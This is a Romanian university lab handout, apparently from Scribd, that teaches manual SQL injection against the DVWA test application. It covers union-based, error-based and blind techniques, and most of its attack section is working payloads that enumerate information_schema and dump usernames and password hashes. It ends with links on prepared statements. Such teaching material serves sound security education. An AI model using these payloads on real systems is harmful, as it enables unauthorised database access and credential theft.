0% found this document useful (0 votes)
26 views29 pages

9 TW SQL Injection Attacks

SQL injection

Uploaded by

luiza.busuioc.6
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
26 views29 pages

9 TW SQL Injection Attacks

SQL injection

Uploaded by

luiza.busuioc.6
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

1.

Introducere

În ultimii ani acest tip de vulnerabilitate este tot mai frecventă în rândul
siteurilor web. Mai întâi trebuie să vedem ce reprezintă această
vulnerabilitate, pentru a reuşi să o exploatăm şi să ne protejăm de ea.

1.1 Baza de date:

Baza de date ( eg. database ) este o colecţie de date. Din perspectiva site-
urilor, baza de date este folosită pentru a stoca diferite informaţii precum
user, parolă, pagini web, detalii despre site şi multe altele :

Exemple de baze de date :

DB servers, MySQL, MSSQL, Oracle, Prostgre SQL, SQLite.

1.2 SQL:
Limbaj de interogare structurat ( eg. Structured Query Language ) e
cunoscut ca SQL. Pentru a comunica cu baza de date, folosim interogările
SQL.
1.3 Interogari simple pentru SQL:
SELECT * FROM table_name;
Această instrucţiune o să afişeze informaţia din tabelă incluzând numele de
coloane.
Ex. :
SELECT * FROM USERS;
INSERT INTO users(username, password) VALUES(“user”,”parola”);
Folosit pentru inserarea valorilor “user” si “parola” în tabela users, în
următoarele coloane : username si password.
1.4 Ce sunt injecţiile SQL ?
Injecţiile SQL sunt o tehnică de injectare a unui cod maliţios folosit în
aplicaţii web. Aceste secvenţe maliţioase de cod SQL se inserează intr-un
câmp care se execută fie prin GET, fie prin POST şi sunt executate la
rândul lor pe server.
1.5 Ce pot provoca aceste injectări ?
Prin această metodă, o persoană neautorizată obţine acces asupra bazei
de date a site-ului, implicit atacatorul are acces la toate informaţiile
detaliate din baza de date.
1.6 Cum ne poate afecta SQL injection dacă suntem administratori de
sistem (root) ?
De obicei o eroare duce la altă eroare şi tot aşa până când un posibil
atacator reuşeşte să pătrundă în server şi de acolo lucrurile se schimbă
radical încât odată uploadat un fişier maliţios poate avea nu doar pagina
cât şi tot serverul la mână.
1.7 Cum ne afectează dacă suntem administratorii paginii ?
Putem pierde accesul la pagina de admin, atacatorul poate schimba parola
şi modifică în baza de date email-ul astfel încât să nu mai putem recupera
pagina web, poate şterge în întregime pagina de admin pentru a nu putea
să ne logăm.
1.8 Cum ne afectează dacă suntem utilizatori pe acea pagină ?
Aici este partea cea mai urâtă încât odată exploatată pagina de admin, noi
ca simpli utilizatori pe acel site vom primi înştiinţare de la administrator cum
că trebuie să accesăm o pagină necunoscută cu lucruri maliţioase care
pretinde a fi altceva decat vedem noi şi implicit atunci ne infectăm şi noi.
1.9 Cum ne poate afecta dacă suntem vizitatori pe acea pagină ?
Să presupunem că serverul a fost deja compromis şi atacatorul modifică
structura paginilor şi odată intraţi pe server poate fura cookie-uri, infecta
persoane, etc.
1.10 Cum se pot face injectările SQL ?
Avem metoda automată cu programe precum sqlmap, mole, havij, etc care
nu este foarte eficientă deoarece abordează doar tipuri stas şi atunci când
o injectare se complică, programul nu va sti asta si o să renunţe, astfel
încât poate spune că nu este vulnerabilită pagina respectivă şi să se
înşele. A 2-a metodă sunt injectările manuale pe care le vom aborda noi în
cadrul acestui laborator cât şi alte tipuri posibile de atacuri asupra unui site
web în următoarele laboratoare.
2. Clasificare

În prezent s-au descoperit 3 metode principale de injectare SQL si acestea


sunt :

2.1 Union based

Prin această metodă cautăm numărul de coloane pe care îl are tabela în


care ne aflăm si prin aplicarea următoarei comenzi obţinem anumite “erori”
pe care le putem exploata in favoarea noastră :

union select 1,2,3,4,5,…(numărul de coloane pe care îl găsim în tabela


respectivă)

Putem obţine informaţii precum : versiunea PHPului, userul cu care


incercăm să facem interogările SQL ( de cele mai multe ori
[persoană]@localhost ), baza de date, userul de system, permisiuni de la
server cât şi orice informaţie din baza de date.

Comenzile pentru un query manual de union based ( pentru ca tot ce o sa


vorbim aici o sa fie facut manual ) o sa le arăt în următorul paragraf în care
voi arăta un atac posibil pe un server ( în cazul nostru pe serverul intern ).

2.2 Error based

Este a doua metodă din SQLi ( SQL injection ). Faţă de union based în
această metodă putem afişa doar un singur lucru pe rând, printr-o eroare
SQL. Comenzile în error based sunt destul de complexe aşa că nu vă pun
să le invăţaţi pe de rost.

Ceea ce vreau să reţineţi este că utilizând comenzile respective pe union


based şi pe error based vom afişa acelaşi lucru fie că este mai mai rapid
sau mai lent.

2.3 Blind based

Ultima din seria SQLi care “afişează” cel mai lent informaţia deoarece
numărul de queryuri poate să crească semnificativ în funcţie de informaţia
din baza de date.
Queryurile o să semene cu jocul adevăr sau provocare, numai că aici nu
avem decât opţiunea adevăr ( provocarea ar putea fi union based si error
based ).

Voi face exemple pentru fiecare tip în parte în următoarea secţiune :


Scenariul posibil unde o să explic în detaliu fiecare pas pe care îl voi face
pentru ca ajunge la informaţia dorită din baza de date !
3. Scenariu posibil

În primul rând atunci când începem o injectare de oricare din cele 3 tipuri,
avem nevoie să închidem queryul astfel încât următoarele secvenţe să se
execute aşa cum dorim noi !

Dacă dorim să vedem secvenţa de cod în timp real putem adăuga în cod
următoarele : $html .= '<pre>' .$getid . '<br><pre>';

3.1 Tipuri de queryuri SQL

3.1.1 String based

Presupunem că avem următoarea sevcenţă :


$id = $_GET['id'];

$getid = "SELECT first_name, last_name FROM users WHERE


user_id = '$id'";
Ca să executăm comenzi trebuie mai întâi să închidem secvenţa corect
astfel încât codul să se execute corect !

Cum facem asta ?

Încercăm ceva simplu ' ( un apostrof ).

You have an error in your SQL syntax; check the manual


that corresponds to your MySQL server version for the
right syntax to use near ''1''' at line 1

Ce ar însemna asta ?

Că avem o bază de date în MySQL, dar de ce primim acea eroare ? Hai să


înţelegem mai bine !

select first_name, last_name from users where


user_id=''';

După aceasta punem la final --+ ( -- este un comentariu si + este pentru


tipul string based şi reprezintă un spaţiu ).
select first_name, last_name from users where
user_id=''-- ';

După ce găsim id=1'--+ şi vedem că pagina rulează corect, continuăm


injecţia.
3.1.2 Integer based
$getid = "SELECT first_name, last_name FROM users WHERE
user_id = $id";

Încercăm ca data trecută '

You have an error in your SQL syntax; check the manual


that corresponds to your MySQL server version for the
right syntax to use near ''' at line 1

Dacă punem id=1'--+ primim următoarea eroare :


You have an error in your SQL syntax; check the manual
that corresponds to your MySQL server version for the
right syntax to use near ''--' at line 1

Asta ne spune că nu este string based !

Dacă scoatem ' ?

id=1--+ sau chiar id=1-- observăm că s-a executat correct secvenţa şi


pagina a fost afişată fără erori sau text lipsă.
select first_name, last_name from users where
user_id=--;

3.2 Union based


Testele următoare sunt exemplu doar pentru string based, pentru integer
based se scoate ' din query !

Aşa cum spune şi numele, acest timp de injecţie o să folosească comanda


union select din SQL care uneste 2 selecturi alăturate, spre exemplu :
SELECT column_name(s) FROM table1

UNION

SELECT column_name(s) FROM table2;

Verificăm funcţionarea order by :

Ce face order by ?

Este folosit pentru a sorta rezultatele obţinute prin select.

SELECT column_name, column_name

FROM table_name

ORDER BY column_name ASC|DESC, column_name ASC|DESC;

order by 1 ( daca funcţionează incercăm 2,3,….N, unde N este ultimul


număr prin care pagina o să se execute la fel ca precedenta fără erori sau
text lipsă )

Să presupunem că ajungem la 2 ( order by 2 ).


Am încercat cu 2 şi merge, dacă încercăm order by 3 obtinem o eroare .

Unknown column '3' in 'order clause'


De ce primim eroare la order by 3 ?

Tabela în care suntem noi acum are decât 2 coloane !

Acum trebuie să folosim union select pentru a începe injectarea comenzilor


prin care găsim informaţia din baza de date.

union select 1,2

De ce scriem 1,2 şi nu facem 1,2,3,4 spre exemplu ?

Exact cum am zis şi mai sus tabela noastră are decât 2 coloane pe care le
pot spune odată ce am văzut secvenţa care se execută : SELECT
first_name, last_name FROM users

Deja ştim şi tabela, dar să presupunem că n-am şti asta.

Obtinem 1 si 2 – acestea sunt coloanele vulnerabile.

(!!! Dacă se întâmplă să nu afişeze nimic, punem parametrul cu minus sau


scriem înainte de union select comanda and 0 …)
Ex : id=1’ and 0 union select 1,2--+ sau id=-1’ union select 1,2--+)

Modificăm una dintre ele ca să verificăm versiunea. Scopul este de a


identifica versiunea SGBD-ului pentru a putea cauta eventuale
vulnerabilitati cunoascute ale acestei versiuni.

union select 1,version()

Și primim 5.6.24 – aceasta este în cazul meu, pe fiecare server este diferit.
Pe CERT/CSIRT există vulnerabilități înregistrate/declarate/cunscute
pentru fiecare versiune de SGBD MySQL. Acestea pot fi exploatate ulterior
prin alte tehnici/instrumente de atac.

Verificăm şi numele bazei de date. Scopul este găsirea bazei de date în


care lucrăm în acest moment.

union select 1,database()

Găsim că este : dvwa.


Pentru a obţine toate tabelele din baza de date având scopul de a identifica
o tabelă care poate avea un posibil cont de administrator şi o să folosim
următoarele :

group_concat(table_name) - pe care il adaugam in locul database()

Şi

from information_schema.tables where table_schema=database()

Pe care îl vom adăuga la sfârşitul operatiei :

union select 1,group_concat(table_name) from information_schema.tables


where table_schema=database()

Ce fac aceste comenzi ?

group_concat() este o funcţie care returnează un string prin concatenarea


valorilor nenule de la un grup.
information_schema.tables permite vizualizarea informaţiei tabelelor dintr-o
anumită bază de date.

table_schema este o funcţie care returnează numele de schemă al unui


obiect găsit dupa un anumit alias dat.

Obţinem guestbook şi users

Pentru a extrage informaţia din users o să avem următoarele :

Modificăm table_name şi îl înlocuim cu column_name şi la final o să scriem


from information_schema.columns where table_name=0x7573657273

( unde 0x7573657273 este users transformat în formatul hexadecimal -


utilizati pentru exemplificare instrumentul Hackbar pentru firefox ). Am fi
putut incerca direct users dar nu avem garantia faptului ca toate SGBD-
urile vor raspunde, pe cand formatul hexa este acceptat indifferent de
versiunea SGBD-ului.
Găsim user_id, first_name, last_name, user, password, avatar, USER,
CURRENT_CONNECTIONS, TOTAL_CONNECTIONS

Pentru a afişa informaţia de pe coloanele user şi password, avem:

union select 1, group_concat(0x3c62723e,user,0x3a3a,password) from


users

( unde 0x3c62723e este <br> )

Şi primim informaţia dorită din cele 2 coloane (user şi password ) ale


tabelei users.
Să presupunem că avem tabela admin care are coloanele username si
password :

union select 1,group_concat(username,0x0a,password),3 from admin

Executând interogaţia o să primim contul de admin şi parola !

Dacă ne uităm atent parola este un hash posibil MD5 sau SHA-1 –> hash-
uri unidirecţionale. Ce înseamnă acest lucru ? O parolă odată criptată nu
se poate şi decrypta, acest lucru făcând destul de dificilă spargerea ei şi
astfel putem încerca dictionare offline, tabele curcubeu şi/sau recuperarea
in clar.

3.3 Error based

În această metodă, exact cum am zis şi înainte, putem afişa doar un singur
“lucru” pe rând !

Adică :
and(select 1 from(select count(*),concat((select (select
concat(version(),0x00)) from information_schema.tables limit
0,1),floor(rand(0)*2)) as x from information_schema.tables group by x)a)

Duplicate entry '5.6.24' for key 'group_key'

Dacă dorim baza de date, modificăm în loc de version(), trecem database()


Pentru a ajunge la tabelele dorite trebuie să modificăm putin queryul !

and(select 1 from(select count(*),concat((select (select (select


concat(0x7e,table_name,0x7e) from information_schema.tables where
table_schema=0x64767761 limit 0,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

unde 0x64767761 = dvwa

Duplicate entry '~guestbook~1' for key 'group_key'

Pentru a ajunge la următoarele tabele continuăm să modificăm limita - limit

and(select 1 from(select count(*),concat((select (select (select


concat(0x7e,table_name,0x7e) from information_schema.tables where
table_schema=0x64767761 limit 1,1)) from information_schema.tables limit
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Când încercăm limit 2,1 primim pagina validă fară eroare deoarece noi
încercăm să exploatăm informaţia prin erori SQL şi deja ştim că există doar
2 tabele în dvwa !
Deci suntem la tabela users, hai sa vedem ce este acolo !

and(select 1 from(select count(*),concat((select (select (select


concat(0x7e,column_name,0x7e) from information_schema.columns where
table_name=0x7573657273 limit 0,1)) from information_schema.columns
limit 0,1),floor(rand(0)*2))x from information_schema.columns group by x)a)

unde 0x7573657273 = users

Continuăm prin a modifica limita si de a ajunge la user şi password (


aceleaşi ca şi-n cazul union based )
Extragerea informaţiei din tabela users având coloanele user şi password
se face astfel :

and (select 1 from(select count(*),concat((select


concat(user,0x3a,password) from users limit 0,1),floor(rand(0)*2))x from
information_schema.tables group by x)a)

Pentru următoarele înregistrări avem de asemenea modificarea limitei !

3.4 Blind based

Această metodă este foarte des întâlnită şi foarte greu de exploatat din
cauza timpului pe care îl ocupă pentru a face toate queryurile !

Hai să fac o mică demonstraţie pe care n-o voi duce până la sfârşit
deoarece ar necesita undeva la 2 laboratoare ca să arăt tot ce este aici !

Pentru a verifica foarte usor dacă blind based este prezent vom impune
condiţia de adevăr id=1’ and 1=1--+ şi daca primim aceeaşi pagină, nu
poate însemna obligatoriu că avem blind based. Încercam and 1=0, ceea
ce ne-ar afişa o pagină fara o parte din text pe ea deoarece 1 nu este egal
cu 0 ( ceea ce este fals si 1=1 este adevărat, de fapt asta o sa facem noi, o
să întrebăm dacă este adevăt sau fals si serverul o să ne răspundă ).

Vom întreba serverul dacă are versiunea 4 ( chiar dacă ştim că este 5 ).
+AND substring(@@version,1,1)=4

O parte din text dispare, încercam cu 5 :

+AND substring(@@version,1,1)=5

Şi merge perfect.
Cum putem să ne dăm seama de informaţia existentă în baza de date şi
implicit cum o putem afişa ?

Dacă vrem să aflăm tabelele trebuie să începem o căutare destul de


amănunţită în baza de date.
and ascii(substring((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))>65

Vrem să ştim dacă prima literă a primei tabele este mai mare decât A (65 =
A în ascii).

Continuăm să adăugăm până când ajungem la un rezultat :


and ascii(substring((select table_name from information_schema.tables
where table_schema=database() limit 0,1),1,1))<110

(110 = n)

Şi tot aşa până găsim prima literă ( noi deja din union based si error based
ştim că prima tabelă este “guestbook”

and ascii(substring((select table_name from information_schema.tables


where table_schema=database() limit 0,1),1,1))=103

and ascii(substring((select table_name from information_schema.tables


where table_schema=database() limit 0,1),2,1))=117

and ascii(substring((select table_name from information_schema.tables


where table_schema=database() limit 0,1),3,1))=101

and ascii(substring((select table_name from information_schema.tables


where table_schema=database() limit 0,1),4,1))=115

and ascii(substring((select table_name from information_schema.tables


where table_schema=database() limit 0,1),5,1))=98

and ascii(substring((select table_name from information_schema.tables


where table_schema=database() limit 0,1),6,1))=111

and ascii(substring((select table_name from information_schema.tables


where table_schema=database() limit 0,1),7,1))=101
and ascii(substring((select table_name from information_schema.tables
where table_schema=database() limit 0,1),8,1))=107

Am găsit “guestbook”, nu o să mai stau să încerc şi la următoarea odată ce


ştiu că este ”users”.

and ascii(substring((select table_name from information_schema.tables


where table_schema=database() limit 1,1),1,1))=117

and ascii(substring((select table_name from information_schema.tables


where table_schema=database() limit 1,1),2,1))=115

Şi tot aşa până la final...

Am trecut de partea uşoară, acum urmează greul !

Ştim doar că avem tabela users fără alte informaţii. Aici intră partea de
ghicit destul de dificilă.

Presupunem că avem o coloană username, nu ştim exact cum este, dar


presupunem !

and (SELECT substring(concat(1,username),1,1) from users limit 0,1)=1

Şi din păcate n-avem username, dar dacă am încerca user ?

and (SELECT substring(concat(1,user),1,1) from users limit 0,1)=1

Merge perfect ! Dar dacă încercăm şi password ?

and (SELECT substring(concat(1,password),1,1) from users limit 0,1)=1


Corect ! Pagina a fost afişată normal, aşa că acum trebuie să gasim
informaţia din cele 2 coloane, dar mai întâi trebuie să găsim un id după
care să ne ghidăm în căutarea informaţiei :

and (SELECT substring(concat(1,id),1,1) from users limit 0,1)=1

Unknown column 'id' in 'field list'

Dacă încercăm user_id ? Da, merge, pagina s-a încărcat corect !

Acum este momentul să găsim contul de admin şi parola :

and ascii(substring((SELECT concat(user) from users where


user_id=1),1,1))=97

and ascii(substring((SELECT concat(user) from users where


user_id=1),2,1))= 100

and ascii(substring((SELECT concat(user) from users where


user_id=1),3,1))= 109

and ascii(substring((SELECT concat(user) from users where


user_id=1),4,1))= 105

and ascii(substring((SELECT concat(user) from users where


user_id=1),5,1))= 110

( admin = 97,100,109,105,110 )

and ascii(substring((SELECT concat(password) from users where


user_id=1),1,1))=53

and ascii(substring((SELECT concat(password) from users where


user_id=1),2,1))=102

Continuăm să căutăm pănâ găsim toată informaţia care ne interesează.


4. Metode de protective

http://indieteq.com/index/readmore/how-to-prevent-sql-injection-in-php

http://php.net/manual/en/mysqli.quickstart.prepared-statements.php

http://php.net/manual/en/pdo.prepare.php

http://www.esecurityplanet.com/hackers/how-to-prevent-sql-injection-
attacks.html
5. Concluzii

După cum v-am prezentat şi mai sus, acest tip de vulnerabilitate este foarte
uşor de exploatat şi există până în prezent.

SQLi intră în categoria vulnerabilităţilor aplicaţiilor web care se exploatează


de foarte multe ori uşor la pagini mici în care dezvoltatorii nu sunt pregătiţi
să-şi protejeze serverul, pagina şi informaţia de un posibil atac de acest tip.
Prin asta nu vreau să spun că doar aplicaţiile mici au dificultăţi de
securitate, nici vorbă, site-uri mari din Romania şi din străinătate sunt
vulnerabile şi vor fi exploatate mai devreme sau mai târziu, diferenţa o face
tipul pentester-ului (eg. Penetration tester ), dacă are pălărie albă sau
neagră !

Cineva mi-a spus următoarele : Dacă vrem să ne protejăm de SQLi trebuie


să facem parametrul POST deoarece nu o să apară direct pe pagină!
Întrebarea pe care as pune-o în această situaţie ar fi : Credeţi că acest
lucru o sa vă proteze de un atacator ? Poate dacă este script kiddie da, dar
un hacker profesionist, nici pe departe ! ( Un script kiddie este o persoană
care nu are foarte multe cunoştinţe de securitate, dar care acţionează
anumite programe sau comenzi concepute de alţi hackeri pentru a
sparge/distruge/penetra site-uri, servere )

Într-adevăr, atunci când nu se face prepare şi se adaugă câteva metode de


protecţie suplimentare ( WAF – Web application firewall ), de ele o să se
treacă mai devreme sau mai târziu prin anumite queryuri !

Atât timp cât SQL o să existe, SQL injection o să fie prezent de asemenea !

You might also like